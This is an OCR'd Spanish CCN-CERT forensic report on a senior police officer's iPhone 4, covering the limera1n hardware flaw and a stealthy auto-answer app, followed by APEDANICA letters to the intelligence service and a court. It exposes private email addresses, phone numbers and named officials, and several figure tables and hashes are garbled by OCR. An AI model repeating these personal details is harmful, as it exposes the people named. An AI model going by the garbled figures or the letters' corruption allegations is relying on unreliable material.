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1. SOBRE CCN-CERT 

EI CCN-CERT (www.ccn-cert.cni.es) es la Capacidad de Respuesta a incidentes 
de Seguridad de la Información dei Centro Criptológico Nacional, CCN. Este servicio se 

creó en ei año 2006 como CERI Gubernamental Nacional español y sus funciones 
quedan recogidas en la Ley i 1/2002 reguladora dei Centro Nacional de inteligencia. 
el RD 421/2004 de regulación del CCN y en ei RD 3/2010, de 8 de enero, regulador dei 
Esquema Nacional de Seguridad, modificado por el RD 951/2015, de 23 de octubre. 

De acuerdo a todas ellas, ei CCN-CERT tiene responsabiiidad en ciberataques 
sobre sistemas clasificados y sobre sistemas de las Administraciones Públicas y de 
empresas y organizaciones de interés estratégico para el país. Su misión, por tanto, es 

contribuir a la mejora de la ciberseguridad españoia, siendo el centro de aierta y 
respuesta nacional que coopere y ayude a responder de forma rápida y eficiente a ios 

ciberataques y a afrontar de forma activa ias ciberamenazas. 
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Figura 4-1. Detalles de la primera extracción 

5. EVIDENCIAS FORENSES 

Se dispone de dos extracciones forenses realizadas sobre el mismo teléfono pero 
realizadas en distintos días. Los datos de las extracciones disponibles son los siguientes: 

(NP 
iPhone4GSM_7.1-7.1.2_Physical_17-12-14_11-05-32.img NombreArchvo 

FirmaSHA»256 A7E253E4004BD41090885D26F96D4E7E8A42E5D3270A1F3675FFA60851360620 

Tamaño (bytes) 15 955 189.760 

Fechatreacíón 17/12/ - 2014 11:24:53 (UTC-i-1) 

Nombre Archivo- - Phone4GSM_7.1-7.1.2_Physical_17-12-14_11-05-32.UFD 

FirmaSHA-25& DFFEB83E1EE7D12BF1114BBF4B9EE6D1BOF7EF128725938BO3724926DDF83CAO 

Tamaño (bytes} 2 608 

Eechacreacián 17/12/-2014 11:24:54 (UTC+1) 

aIzaç por CCN 

iPhone4GSM_7.1-7.1.2_Physical_29-07-15_13-26-54.img 
Exòd12 
Nombre Archivo 

RrmaSHA»256 2260D0795551ED5EB6831E7057633FB1FE8C81731A8AE80367CB1C79000D1FD6 

Tamaflo (bytes} 15 955 189.760 

Fechaireacián 29/07/2015 - 13:26:55 (UTC+1) 

Nombre Archivo iPhone4G5M_7.1-7.1.2_Physical_29-07-15_13-26-54.UFD 

firma SHA-256 OA969ADEB4F0002B3135DA2ADEOBOAAEF6O9CCDA6EA1198F158F1CB7A44F68E7 

Tamatio (bys) 1 933 

Iecha creación 29/07/2015 - 13:26:55 (UTC+1) 

Al realizarse las extracciones en distintas fechas y al no haber estado detenido el 

teléfono móvil, las extracciones presentan diversas diferencias motivadas a la 

actividad realizada por el usuario con el teléfono y a la interacción del teléfono móvil 

con las aplicaciones instaladas e Internet. 

Una de las diferencias existentes, es el número de cuentas asociadas a los 

servicios de Apple. Estas cuentas permiten, entre otras funciones, bajarse e instalar 
aplicaciones en el móvil, resolver incidencias, etc. 

En la primera extracción (del 17/12/14) se han encontrando los siguientes "Apple 
ID": 

. " rocioperezlorente@yahoo.es u 
s " telecomunicaciones.fax@gmail.com I' 
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. http://www.dinosec.com/docs/Android- 
Back_to_fhe_Future_Too_Roofed2O i 5_RauISiIes-DinoSec_v i .O.pdf 

. http://www.youtube.com/watch?v=cEKu8Cwl Dyo 

Adicionalmente, el dispositivo objeto dei informe presenta diversas 
vulnerabilidades CRÍTICAS, presentes en ei núcleo o SoC (System on Chip) modelo A4 

que posee ei terminai, permitiendo ei control total dei teléfono, como por ejemplo las 

vulnerabilidades "limerai n' o Shatter" (https://www.theiphonewiki.com/wiki/SSL8930). 

- 

Figura 6-2. System on Chip A4 del ¡Phone 4 

Estas vulnerabilidades que afectan al hardware dei dispositivo SOLO se pueden 
evitar/solucionar SUSTITUYENDO ei dispositivo por un modelo más nuevo basado en 
otra versión de SoC no vulnerable. 

Adjunto al informe se presenta el documento "Análsis técnico de la 

vulnerabilidad "limera i n" en el iPhone 4" elaborado por el consultor de seguridad Raúl 

Siles de la empresa Dinosec, donde se recoge paso a paso cómo explotar la 
vulnerabilidad "limerain" y cómo instalar una aplicación que entre sus 

funcionalidades está la de responder de forma automática y sin la intervención dei 
usuario a algunas llamadas recibidas. Adicionalmente, la aplicación presenta un 

modo silencioso (Stealth Mode) para que ei teléfono no emita ningún sonido asociado 
a la llamada entrantre, de forma que el usuario no sea consciente de la misma, no 
mostrándose ni siquiera que hay una llamada activa y no dejando registro en ei 

histórico de llamadas recibidas. 

A continuación se muestran diversas imágenes de la aplicación "Auto Answer". 
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En cambio en la segunda extracción (del 29/07/1 5) , es el siguiente: 

TaIeV fp!icV 

j - ' 

- - - «l - - rn'2G14 1?3O:174UTC+O) om mmbcEae 
- - 
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Figura 7-2. Registro actividad día 20/10/2014 perteneciente a la segunda extracción 

7.1 REGISTRO DE LLAMADAS 

Los dispositivos iPhone solo almacenan las últimas 100 llamadas (recibidas, 
realizadas, fallidas y borradas por el usuario), por lo que NO existen registros de 
llamadas en los días 20 y 21 de octubre de 2014. 

Sí existen registros de llamadas anteriores a esa fecha, pero son llamadas 
registradas por la aplicación "FaceTime" que poseen los iPhone, la cual permite 
establecer llamadas sobre IP (canal de datos) de audio y voz con otro terminal iPhone. 

Cuando el registro de llamadas alcanza el número máximo (100), la llamada más 

antigua registrada es borrada de forma automática para incluir la nueva, por lo que el 

registro de llamadas puede solo contener uno o dos días en aquellos usuarios que 
tengan un elevado tráfico de llamadas (rebicidas, realizadas o perdidas). 

7.2 TELÉFONO 652972428 

Los únicos datos que aparecen en las distintas extracciones del número de 
teléfono 652972428" son dos: 

s Mensaje SMS remitido por la operadora móvil indicando "Llamada Perdida", 
el pasado día 7 de noviembre de 2014, como se observa en la siguiente 
imagen: 

prom: .34653fl42& UAMADAS Pf.fti DAS 

- 
St G1!2O14 O;4tUC+OWoId Ex 

- Prties5Z3724 

-- 

0041y 5Z9724Z8 

-:chh 
UAMADA$ PEOA. 

- 

Figura 7-3. Registro existente dei teléfono 652972428 
rn-__________ 
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2014. El teléfono, supuestamente, se encuentra encendido de manera ininterrumpida 
desde el día 30 de septiembre de 2014. 

7.5 REDES WIFI 

A continuación se muestra la relación de puntos de acceso a los que se ha 
conectado el terminal, algunos de ellos son puntos de acceso NO controlados por 
personal de la Organización. 

5fuhZCZ4 3(UTC*O1 7î'2O43G32WTC.O} 1A28AV-CC _5DF 

2VO/Oi4 17372(UTCO I28/C9/2O$ ii33(UTCJ CD144AD jHOTSPOT.SAP 

V/OV2U4 1:37.52flJTCß L fr- 
26fO9J2O4 17;1t1IUÍC.O 12?f9?2O4 144249LUÎC'. jECDOCiC:EO orr th Paem 

I2o14 1754UTC-QJ J251W2O14 18O3 4(lJTC. 15E:31CI jfç4 342UTC-O) I25J9/2OA 782i[UTC*G) j2AA4 3C:O323 1aiaVed&WiF 

J2DI4 763JTc-O: 22ÌO9!2O14 I355tUTCO) 1I2DFOOc 
12í2Q4 1144 3UTC.O3 ]1/9Í2Q 4OfUTCQ) 1F3FA22 3 

'2O14 II243(U1C.D) I°°' P°' 
I1711{JTC3 "-° [.rpn 

1JW2i4 13146(UTCQJ 1WW2014 11Q2(UTC D1195OOW 

7)TTh HmaflT 

I 
29110/2013 1i4 I4jUTC.Oj 29r1O'2O 22i632(UTC.03 »1Qk367kD ndw m 

jwiwci3 O53AOLUTCß j2!13 17:55S5(uTC. 825O 

t - = 
-- = -- -)7W - - -- - -- - 

2ViO2O13 23=54=24CUTCc J9iO2O13 I6IEWTC.0) 722B7DE31 RU)CAOSALUCAS 

Figura 7-6. Redes WiFI a las que se ha conectado el Terminal 

Como se ha observado en la imagen, la última red WiFi a la que se ha 
conectado el terminal para su acceso a redes públicas/privadas ha sido una red con 
el nombre SSId "WLAN_59DF". 

8. TRÁFICO DE DATOS 

En el teléfono solo existen datos registrados por aquellas aplicaciones que se 

encuentran instaladas y que por su operatividad diaria pueden guardar datos de 
utilización, entre ellas se encuentran, el cliente de correo electrónico, el navegador 
empleado (Safari) y los programas de mensajería/chat (Whatsapp). 

Se han encontrado el siguiente tráfico de datos correspondiente a visita de 
páginas web, envío de SMS o envío de correo electrónico siguientes: 

Día - HORA (uTc+o) Tipo de tráfico 
20/10/2014 - 17:30:17 Correo electrónico de nicia.es para 

info@casassg.com 

20/10/2014 - 21:33:21 Correo electrónico de deltoroalinfinito@gmail.com para 

mmartin@policia.es 
21/10/2014-08:03:55 SMS BBVA Móvil 

21/10/2014 - 10:32:24 Correo electrónico de ¡lfruiz@policia.es para 

mmartin@policia.es 
21/10/2014 - 14:05:06 5M5 Llamada perdida al n2 659967760 

21/10/2014 - 13:51:07 Visita página Web de 2ominutos.es 
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com.indra.md. 

Por la información residual, el dispositivo se ha identificado como cliente con 
número "W6BZ4M63461 I', según indica el archivo 
"/Data/mobile/Applications/CAEA91 69-AF2A-4ODB-BC79-F2A8583E345C/Mobiledesk 
MDM.app". 

Supuestamente, el último intento de conexión se realizó el pasado día 12 de 
noviembre de 2013 a las 15:16:10 (UTC+O). 

Se ha observado que la aplicación actualizó sus datos el pasado día 6 de julio 
de 2013 a las 07:58:36 (UTC+O), desde entonces, no se ha observado actividad 
relevante. 

9.2 COMSec 

La aplicación "COMSec" permite comunicaciones seguras entre aquellos 
dispositivos que posean la misma aplicación. 

La información residual encontrada en el archivo 
/Data/mobile/Applications/A5B88281 -1 C6A-4EBE-AC26- 

EBEFC969OFOB/Documents/logfile.txt" indica que, supuestamente, el último intento de 
conexión se realizó el pasado día 26 de diciembre de 2013 a las 18:14:11 (UTC+O). 

lo. BORRADO DE APLICACIONES 

Existen distintos métodos para eliminar del terminal aplicaciones o incluso 
archivos, como por ejemplo: 

Desde el icono mostrado en el terminal y seleccionando la opción 
"desinstalar" . 

s Desde un equipo con ¡Tunes y conectado el móvil a través del cable USB. 

s Instalando aplicaciones "válidas" cuya función sea el borrado de 
información o la liberación de espacio, como por ejemplo 
"PhoneExpander" y "PhoneClean". 

Iniciando el móvil con alguno de los modos especiales e instalando 
cualquier aplicación cuya función sea la de borrado, como por ejemplo 
"iCleaner". 

Independientemente del método o aplicación empleados, si se realiza con éxito, 
el sistema operativo generalmente no registra este tipo de acciones. 

i i . CONCLUSIONES 

La evidencia forense indica que: 

s El teléfono móvil presenta vulnerabilidades críticas que pueden permitir el 

control total, tanto de forma local como remota, de TODAS las 

funcionalidades del mismo, pudiéndose realizar cualquier acción sobre el 

dispositivo como añadir aplicaciones, borrar archivos, borrar registros, etc. 
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aplicación "hunes", pudiendo no quedar información residual de las 

acciones realizadas. 

Los dispositivos móviles suelen tener una tarea programada que de forma 
automática gestiona el disco de estado solido que emplean para 
optimizar el rendimiento de sus terminales, por lo que la información 
borrada pasado un tiempo, suele ser destruida de forma automática. 

. El teléfono se ha conectado a puntos de acceso WIFI públicos que 
pueden incrementar el número de riesgos y amenazas. 

. El teléfono se ha actualizado o se ha vuelto a reinstalar la versión 7.1.2 

(1 1D257) el pasado día 30 de septiembre de 2014. 

12. Poc 

Se puede ampliar cualquier punto del informe, utilizando como via preferente de 
comunicación el portal hfft://www.ccn-cert.cni.es 

> Teléfono: +34 91 372 59 74 

> E-Mail: ccn-cert@cni.es 
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Para comprender la importancia y trascendencia de
este documento recomendamos leer
http://www.cita.es/juzgado-iphone.pdf
http://www.cita.es/habeas-smartphone.pdf
y en inglés http://www.cita.es/fcc-complaint
http://www.miguelgallardo.es/fcc-complaint.pdf

En la asociación APEDANICA estamos a la disposición de todo el que pueda aportar
documentos, testimonios y pericias contra el espionade de teléfonos móviles y también
de antenas falsas IMSI-CHATHERS o STINGRAYS como las denunciadas en
http://www.cita.es/querella-ai   y http://www.miguelgallardo.es/querella-ai.pdf
http://www.cita.es/ampliando-ai y http://www.miguelgallardo.es/ampliando-ai.pdf
http://www.cita.es/reitera-ai y http://www.miguelgallardo.es/reitera-ai.pdf
El Juzgado de Instrucción 2 de Madrid ha ignorado esos tres documentos, y también
http://www.cita.es/juzgado-iphone.pdf por lo que han sido 4 los documentos ignorados.
Nos remitimos a todos ellos y a http://www.miguelgallardo.es/ignorancia-deliberada.pdf
ofreciendo nuestro teléfono (+34) 902998352 y el email: apedanica.ong@gmail.com
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apedanica ong <apedanica.ong@gmail.com>

ANEXO con firma digital para Félix Sanz Roldán Secretario de Estado director del
Centro Nacional de Inteligencia CNI 
apedanica ong <apedanica.ong@gmail.com> 7 de noviembre de 2016, 21:04
Para: ccn­cert@cni.es
Cc: cni@cni.es, "mailsigned@egarante.com" <mailsigned@egarante.com>

ANEXO con firma digital para
www.ccn­cert.cni.es 
> Teléfono: +34 91 372 59 74

Félix Sanz Roldán Secretario de Estado  
director del Centro Nacional de Inteligencia CNI
Documento con firma digital en www.miguelgallardo.es/felix­sanz­roldan.pdf

Hemos  tenido  acceso  a  una  copia  de  su  escrito  de  fecha  31.3.16  dirigido  al  Juzgado  de  al 
Centro  Instrucción  n°  2  de  Madrid,  que  adjunto.  Antes  de  cualquier  otra  consideración  yo 
deseo  confirmar  que  las  28  páginas  de  que  consta  son  auténticas  y  que  termina  diciendo 
textualmente: Se puede ampliar cualquier punto del informe, utilizando como via preferente de 
comunicación el portal http://www.ccn­cert.cni.es 

La  asociación  APEDANICA  a  la  que  desde  1992  tiene  el  máximo  interés  por  ampliar  ese 
informe, más aún considerando los documentos que también se adjuntan.

La  secretaria  general  del  Centro  Nacional  de  Inteligencia  CNI,  Beatriz  Méndez  de  Vigo 
Montojo, tiene pendiente de resolver la solicitud de hace ya casi dos meses que puede verse 
publicada en http://www.cita.es/cni­upm.pdf 

Nos preocupa que funcionarios públicos con cargos de dirección y dedicación completa en la 
Universidad Politécnica  de Madrid UPM puedan  administrar  empresas  que  se  benefician  de 
convenios  con  el  CNI,  al  mismo  tiempo  que  el  CNI  contrata  a  empresas  privadas  para 
proporcionar lo que un juzgado le requiere. Son conocidas mis denuncias contra funcionarios 
empresarios ilegales en la Oficina de Conflictos de Intereses desde hace tiempo pero también 
quiero  que  se  sepa  que  los  funcionarios  que  se  dedican  a  negocios  es  difícil  que  puedan 
dedicarse  bien  a  sus  funciones  públicas,  especialmente  en  tecnologías  complejas.  En 
definitiva, que unos se dediquen a lo que no se deben dedicar, mientras que no se dedican a lo 
que sí deberían dedicarse con mayor entrega y calidad de resultados. Pero repito que quiero 
reservar  mis  últimas  opiniones  “ad  hoc”  hasta  que  se  me  confirme  que  la  documentación 
adjunta es auténtica y completa, mejor aún si se amplía y actualiza.

Ignoro hasta dónde puede proporcionar  información sobre todo lo que adjunto, pero sea cual 
sea en cada momento agradeceré que se amplíe y actualice al máximo.

Dr. (PhD) Miguel Gallardo, Tel. 902998352 Fax: 902998379 apedanica.org@gmail.com 
Asociación APEDANICA C/ Fernando Poo 16­6ºB E­28045 Madrid, SPAIN (ESPAÑA)

http://www.ccn-cert.cni.es/
tel:%2B34%2091%20372%2059%2074
https://docs.google.com/document/d/1hKq98eV41NydDI-6Eue--52TqaSpRGv-hbLhPAZqX_E/edit
http://www.miguelgallardo.es/felix-sanz-roldan.pdf
http://www.ccn-cert.cni.es/
http://www.cita.es/cni-upm.pdf
http://www.miguelgallardo.es/audio.pdf
mailto:apedanica.org@gmail.com
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Se adjuntan los documentos que también pueden verse en Internet
http://www.cita.es/cni­iphone.pdf 
http://www.cita.es/juzgado­iphone.pdf 
http://www.cita.es/habeas­smartphone.pdf
http://www.miguelgallardo.es/fcc­complaint.pdf 
Al Juzgado de Instrucción 2 de Madrid, Dil.Prev. 4676/14 Pieza II por el fax 902998379 con copia para 
Juzgado de  Instrucción 11 Dil.Prev. 3034/2013 y  también para Fiscalía Especial  contra Criminalidad 
Informática (Elvira Tejada de la Fuente) y Abogacía del Estado documento con firma digital publicado 
en www.cita.es/juzgado­iphone.pdf

Hemos tenido acceso al  informe de EL FISCAL Alfonso San Román de  fecha 8.6.16 que entendemos
que no está sometido a ningún secreto sumarial y con la máxima publicidad al alcance de la Asociación
APEDANICA hemos trasladado a la empresa APPLE nuestras inquietudes y preocupación porque lo
ocurrido en el iPhone corporativo utilizado por Marcelino Martín­Blas mientras era Comisario de Asuntos
Internos  y  conversaba  con  funcionarios  del  Centro  Nacional  de  Inteligencia  CNI,  pueda  ocurrir  ahora
mismo, o haya ocurrido en el pasado en más casos, en cualquier otro teléfono móvil.

APEDANICA  lleva  tiempo  investigando  el  espionaje  de  teléfonos  móviles  SMARTPHONES  y  en  el 
especial caso de esta Pieza II de las Dil.Prev. 4676/14 del Juzgado de Instrucción 2 de Madrid tenemos 
entendido que el Centro Criptológico Nacional CCN del CNI subcontrató a una empresa privada para que
un perito particular explicase lo ocurrido en el iPhone corporativo utilizado por Marcelino Martín­Blas, sin
resultado relevante alguno. No podemos comprender cómo existiendo numerosas plazas de funcionarios
públicos tanto en la universidad pública como en el Consejo Superior de Investigaciones Científicas CSIC
de  supuestos  expertos  en  seguridad  informática,  telefonía  móvil  y  criptoanálisis  forense,  no  se  ha
requerido ya el  informe de  tantos  funcionarios públicos como sea necesario,  y por otra parte,  tampoco
comprendemos  cómo  no  consta  ya  en  las  actuaciones  un  informe  de  la  empresa APPLE  con  toda  la
información de que dispone, o puede conseguir actualmente sobre la vulnerabilidad de los Apple iPhone 4
conocida  como  “Limera1n”  y  también  sobre  cómo  reconstruir  todo  lo  ocurrido  que  pueda  ser
presuntamente delictivo.

Por  una  parte,  este  juzgado  y  el  juez  instructor  Arturo  Zamarriego  Fernández  conoce  y  tiene
documentadas  las actividades particulares de  funcionarios públicos como peritos privados durante años
de  empresas  como  BOLIDEN  y  entidades  privadas  como  la  Sociedad General  de  Autores  y  Editores
SGAE, así como la utilización de recursos públicos para proteger, incluso de la más correcta crítica, tales 
negocios  privados  de  funcionarios  públicos.  No  es  decente  ni  admisible  que  ante  la  gravedad  de  los
hechos de los que informa Alfonso San Román ni un solo catedrático o profesor titular de universidad, ni
tampoco profesor de investigación o investigador titular del CSIC haya emitido ninguna opinión sobre lo
ocurrido en el  iPhone corporativo utilizado por Marcelino Martín­Blas, al mismo  tiempo que el CNI y el
CCN  financian,  o  informan  favorablemente  para  que  se  financien  proyectos  tecnológicos  en  los  que
funcionarios públicos pueden enriquecerse sin límite ni control eficaz alguno.

Por otra parte, basta con buscar APPLE en el Boletín Oficial del Estado BOE para hacerse una idea de lo
que  las  Administraciones  Públicas  han  pagado  para  que muy  diversos  cargos  y  funcionarios  públicos,
incluyendo  senadores  y  diputados  nacionales  o  autonómicos,  utilicen  teléfonos  APPLE  iPhone
susceptibles de ser espiados como Alfonso San Román dice por escrito que lo ha sido, repetimos, nada
menos que el iPhone corporativo utilizado por Marcelino Martín­Blas mientras era Comisario de Asuntos
Internos y conversaba con funcionarios del Centro Nacional de Inteligencia CNI, lo que nos parece muy
alarmante.
En  resumen,  considerando  lo  informado  por  EL  FISCAL  Alfonso  San  Román  con  fecha  8.6.16,  y
considerando que se  trata de un  teléfono corporativo, parece ser que suministrado a  la Administración
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General del Estado por una de las multinacionales más solventes del mundo, instamos al juzgado a que, a
la mayor brevedad, REQUIERA:

1º Informe completo y detallado a la representación legal de APPLE en España

APPLE MARKETING IBERIA SA

DENOMINACIÓN SOCIAL CIF FECHA CONSTITUCIÓN

APPLE MARKETING IBERIA SA  A58022724 01/07/1985

OBJETO SOCIAL / ACTIVIDAD

CNAE 4618 ­ Intermediarios del comercio especializados en la venta de otros productos específicos

CAPITAL SOCIAL REGISTRO

­   Madrid

DOMICILIO   TELÉFONO FAX

CRA DE SAN JERONIMO 1 (MADRID).   913542900   916613810 

PÁGINA WEB E­MAIL REDES SOCIALES

www.apple.com/es informacion@euro.apple.com

ÓRGANO ADMINISTRACIÓN PRESIDENTE AUDITOR

Consejo de administración Ortiz Finnemore Luis Jonathan ERNST & YOUNG SL

2º Que el juzgado nombre peritos con absoluta garantía de independencia a tres funcionarios con
reconocida competencia en seguridad  informática y criptología, así como en telefonía móvil y cuanto se
evidencia como necesario para conocer, al menos, para garantizar que el espionaje de iPhones similares 
o incluso más antiguos que el corporativo utilizado por Marcelino Martín­Blas mientras era Comisario de
Asuntos Internos y conversaba con funcionarios del Centro Nacional de Inteligencia CNI no puede volver
a  ocurrir.  La  asociación  APEDANICA  considera  inadmisible  que  no  exista  un  responsable  en  la 
Administración que pueda garantizar que la telefonía móvil corporativa utilizada por cargos y funcionarios
públicos es segura. Es altamente sospechoso e  indicio de corrupción que habiendo contratado APPLE
con la Administración el suministro de gran número de teléfonos iPhone no haya funcionarios capaces de
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coordinar  una acción más eficaz  contra  el  espionaje  en  la  telefonía móvil  corporativa  de miembros del
Cuerpo Nacional de Policía.

APEDANICA  combate  activamente,  y  con  publicidad  sin  contemplaciones  ni  complejos,  toda
  IGNORANCIA  DELIBERADA  y  los  conflictos  de  intereses  que  posibilitan  corrupción,  cobardía  e
incompetencia en la Administración. Señalamos con sus nombres y apellidos especialmente a todos los
cargos  y  funcionarios  públicos  responsables  de  delitos,  abusos  y  negligencias  en  informática  y
comunicaciones  avanzadas.  Hacemos  pública,  nuestra  crítica  opinión  sobre  el  enjuiciamiento  del
espionaje  en  España.  El  Juzgado  de  Instrucción  45  conoce  bien  nuestros  esfuerzos  y  nosotros  su
perezosa  lentitud  pusilánime  en  relación  al  espionaje  masivo  de  redes  Wi­Fi  reconocido  por  Google
estando pendiente la apelación que mantenemos en www.cita.es/apela­google y podemos ofrecer más 
referencias contra el espionaje en juzgados www.cita.es/apela­chrome y www.cita.es/querella­flexispy 
entre  otras  muchas  más  referenciables  en  Internet).  Sabemos  que  muchos  particulares  están
completamente  indefensos ante sus propios proveedores de Internet y/o telefonía y que multinacionales
como APPLE, Google, Nokia y Microsoft  toleran productos como FLEXISPY  Spy Phone Mobile Spy
MSPY  cuya  función  “espiológica”  ilegal  es,  aparentemente,  la  misma  que  detectada  en  el  iPhone
corporativo  utilizado  por    el  comisario Marcelino Martín­Blas.  Tenemos  la  fundada  sospecha  de  que  la 
vulnerabilidad “Limera1n” ha sido mucho más utilizada de lo que se ha detectado, y también que existen
productos  ilegales específicamente diseñados para ello.  Instamos  al  Juzgado  a  que  lo  investigue  a
fondo.

APEDANICA reitera  también aquí  todo  lo ya manifestado en este Juzgado en  la querella pendiente de
admisión  en  www.cita.es/querella­ai  ampliada  en  www.cita.es/ampliando­ai  y  reiterada  en 
www.cita.es/reitera­ai de la que no tenemos noticia judicial alguna.

Por  lo  expuesto,  al  Juzgado  se  solicita  que  tenga  por  hechas  estas  manifestaciones  y  peticiones  de
APEDANICA  requiriendo  a  APPLE  y  nombrando  a  peritos  funcionarios  públicos  con  garantías  de
independencia  y  solvencia  tecnológica  específica,  en  Madrid,  enviado  por  fax  y  correo  electrónico  al
Juzgado con fecha de la firma digital en este documento publicado en Internet www.cita.es/juzgado­
iphone.pdf 
Se adjunta documento también en
www.cita.es/espionaje­iphone.pdf
que incluye informe de EL FISCAL
al que hacemos aquí referencia.

­­ 
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